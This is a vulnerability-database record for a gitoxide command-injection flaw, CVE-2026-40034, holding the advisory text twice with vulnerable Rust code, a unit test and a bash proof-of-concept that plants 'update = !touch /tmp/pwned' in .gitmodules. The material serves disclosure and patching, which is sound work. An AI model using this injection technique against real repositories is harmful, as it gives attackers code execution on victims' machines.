{"id":"CVE-2026-40034","aliases":["AZL-89292","AZL-89295","DEBIAN-CVE-2026-40034","EUVD-2026-31831","GHSA-f26g-jm89-4g65","GHSA-m4f9-c775-wg56","UBUNTU-CVE-2026-40034","openSUSE-SU-2026:11038-1","openSUSE-SU-2026:11474-1","openSUSE-SU-2026:12338-1","openSUSE-SU-2026:21185-1","openSUSE-SU-2026:21558-1"],"status":"published","title":"gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","severity":{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00651,"percentile":0.51671,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-183","CWE-349","CWE-501","CWE-77"],"published":"2026-05-05T19:23:45Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"crates.io","package":"gix","fixed_in":["0.83.0"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"rust","fixed_in":["1.75.0-30","1.90.0-9"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"rust-gix-submodule","fixed_in":["0.30.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"stgit","fixed_in":["2.6.0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"watchexec","fixed_in":["2.8.0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"stgit","fixed_in":["2.6.0-bp160.1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"gix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.31.0"},{"fixed":"0.83.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.75.0-30"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.85.0"},{"fixed":"1.90.0-9"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"rust-gix-submodule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.16.0-1","0.20.0-1","0.30.0-1","0.33.0-1","0.34.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"rust-gix-submodule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.30.0-1"}]}],"versions":["0.16.0-1","0.20.0-1"]},{"source":"osv","ecosystem":"crates.io","package":"gix","ranges":[{"type":"SEMVER","events":[{"introduced":"0.31.0"},{"fixed":"0.83.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"rust-gix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.69.1-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"rust-gix-submodule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.16.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-gix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.73.0-1","0.83.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-gix-submodule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.20.0-1","0.30.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-gix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.69.1-1","0.69.1-2","0.73.0-1","0.73.0-1build1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-gix-submodule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.16.0-1","0.20.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"stgit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"gitoxide","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.56.0-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"watchexec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"stgit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0-bp160.1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"gitoxide","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.56.0-bp160.1.1"}]}],"bundled":5}],"products":[{"vendor":"gitoxide","product":"gitoxide"},{"vendor":"gitoxide","product":"gix"},{"vendor":"gitoxide","product":"gix-submodule"},{"vendor":"gitoxidelabs","product":"gitoxide"}],"references":[{"url":"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0","tags":["patch","fix","web","report"]},{"url":"https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc","tags":["patch","fix","web","report"]},{"url":"https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP","tags":["third-party-advisory","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule","tags":["third-party-advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40034","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-f26g-jm89-4g65"},{"url":"https://github.com/advisories/GHSA-m4f9-c775-wg56"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40034.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-40034","tags":["advisory"]},{"url":"https://github.com/GitoxideLabs/gitoxide","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-40034","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-40034","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40034","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25541","tags":["web"]},{"url":"https://bugzilla.suse.com/1266429","tags":["report"]},{"url":"https://bugzilla.suse.com/1223249","tags":["report"]},{"url":"https://bugzilla.suse.com/1236139","tags":["report"]},{"url":"https://bugzilla.suse.com/1240872","tags":["report"]},{"url":"https://bugzilla.suse.com/1266434","tags":["report"]},{"url":"https://bugzilla.suse.com/1274525","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2024-32650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-31130","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-40034","title":"gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T14:08:48.264Z","modified":"2026-11-08T14:02:45.798Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-31831","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T14:08:48Z","modified":"2026-11-08T14:02:45Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T15:13:09.268962Z"}],"ghsa":[{"id":"GHSA-f26g-jm89-4g65","title":"gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules","description":"### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None =\u003e return Ok(None),\n    };\n\n    if let Update::Command(cmd) = \u0026value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]'s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker's repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide's guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c'EOF'\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for 'submodule.sub.update'\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n…will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence","status":"published","published":"2026-05-05T19:23:45Z","modified":"2026-06-30T17:41:04Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-77","CWE-183","CWE-349","CWE-501"],"updated_at":"2026-11-02T14:40:35.701766Z"},{"id":"GHSA-m4f9-c775-wg56","title":"Duplicate Advisory: gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f26g-jm89-4g65. This link is maintained to preserve external references.\n\n### Original Description\ngix-submodule before 0.82.0 incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"withdrawn","published":"2026-05-26T15:32:10Z","modified":"2026-06-30T17:40:49Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:40:35.701766Z"}],"nvd":[{"id":"CVE-2026-40034","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T15:16:35.087Z","modified":"2026-10-08T16:17:14.55Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:12:20.131508Z"}],"osv":[{"id":"CVE-2026-40034","title":"gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T14:08:48.264Z","modified":"2026-11-09T02:31:08.446973953Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"DEBIAN-CVE-2026-40034","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T15:16:35.087Z","modified":"2026-10-09T09:47:24.52487082Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:54.892385Z"},{"id":"GHSA-f26g-jm89-4g65","title":"gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules","description":"### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None =\u003e return Ok(None),\n    };\n\n    if let Update::Command(cmd) = \u0026value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]'s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker's repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide's guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c'EOF'\n\tupdate = !touch 